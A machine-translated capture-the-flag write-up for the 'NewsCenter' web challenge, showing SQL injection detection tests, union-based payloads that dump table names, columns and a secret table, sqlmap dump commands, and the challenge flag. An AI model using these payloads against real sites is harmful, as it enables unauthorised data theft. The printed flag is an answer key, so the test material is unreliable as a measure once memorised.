当前位置:网站首页>Newscenter, advanced area of attack and defense world web masters
Newscenter, advanced area of attack and defense world web masters
2022-07-29 00:17:00 【Ant200】
One 、 analysis
Enter the page , I saw a website , Look at the source code , Web content , Look for a breakthrough , You can scan the directory with Yujian to find a breakthrough , The test found no breakthrough , Try... Try sql Inject .
Two 、 step
1. Test for presence sql Inject
How to determine sql Injection point
1 Single quotation mark judgment
Search box or URL Tail end plus ’ If an error is reported, there may be sql Inject holes , Because character type or Integer types will report errors because the number of single quotes does not match
2, The number type determines whether there is injection
and 1=1 Return to the correct page
and 1=2 Return to error page
3, The character type determines whether there is injection
‘ and ‘1’='1 Return to the correct page
’ and '1'='2 Return to error page
Single quotation mark judgment , You can enter... In the search box ', It can also be in url Add at the end. Note here that post Submit ,why? Looking at the source code of the initial page, you can find
Already known to exist sql Inject , You can use tools sqlmap. It can also be injected manually
Manual injection :
1, structure payload:1' order by 3#, For before 1,2,3 Page echo is normal , When it comes to 4 When the page reports an error , Description has three columns of data
2. structure payload:1' union select 1,2,3# Burst the two columns of data injected
3. The injection point is 2,3. structure payload:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# Name of the table
4. structure payload:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='secret_table'# Pop field
5. structure payload:' union select 1,2,group_concat(id,0x3a,fl4g) from secret_table# detonation flag
flag:QCTF{sq1_inJec7ion_ezzz}
sqlmap:
bp Capture and save as 1.txt, Put it in kali root Under the table of contents
Carry out orders :sqlmap -r "1.txt" Burst information
Reveal the name of the library , And the user name :sqlmap -r "1.txt" --current-db --current-user
Name of the table :sqlmap -r "1.txt" --tables -D "news"
Pop field :sqlmap -r "1.txt" --columns -D "news" -T "secret_table"
detonation flag:sqlmap -r 1.txt -D "news" -T "secret_table" -C "fl4g" --dump
边栏推荐
- CMake 基础学习
- Leetcode59. Spiral matrix II
- 动态规划问题(七)
- Real time data warehouse: meituan's implementation of real-time data warehouse construction based on Flink
- Visual full link log tracking
- EN 1873 assembly accessories for roofing - plastic single roof lamps - CE certification
- "Method not allowed", 405 problem analysis and solution
- Servlet operation principle_ API details_ Advanced path of request response construction (servlet_2)
- Oracle create tablespaces and users
- 1-8 basic use of props
猜你喜欢
跳表的原理
SQL实现将多行记录合并成一行
110道 MySQL面试题及答案 (持续更新)
AutoCAD -- import excel tables into CAD and merge CAD
【C】 Reverse string (two recursive ideas)
JS advanced ES6 ~ es13 new features
Servlet operation principle_ API details_ Advanced path of request response construction (servlet_2)
Advanced area of attack and defense world web masters ics-06
Attack and defense world web master advanced area web_ php_ unserialize
Worthington - chemical properties and related studies of Worthington trypsin
随机推荐
SAP temporary tablespace error handling
Eye of depth (18) -- partial derivative
mysql中exists的用法详解
With the help of rpa+lcap, the enterprise treasurer management can be upgraded digitally
JS高级 之 ES6~ES13 新特性
1-8 basic use of props
Intelligent trash can (VII) -- Introduction and use of sg90 steering gear (Pico implementation of raspberry pie)
Why is it so difficult for the SEC to refuse the application for transferring gray-scale GBTC to spot ETF? What is the attraction of ETF transfer?
【C】 Reverse string (two recursive ideas)
Develop effective Tao spell
laptop外接显示器
【小程序项目开发 -- 京东商城】uni-app 商品分类页面(上)
动态规划问题(三)
Laptop external display
动态规划问题(七)
Where is sandbox's confidence in rejecting meta's acquisition of meta universe leader sand?
MySQL installation and configuration tutorial (super detailed, nanny level)
动态规划问题(一)
After SAP Oracle replicates a new instance, the remote connection of the database reports an error ora-01031
【C】 Drink soda and find a single dog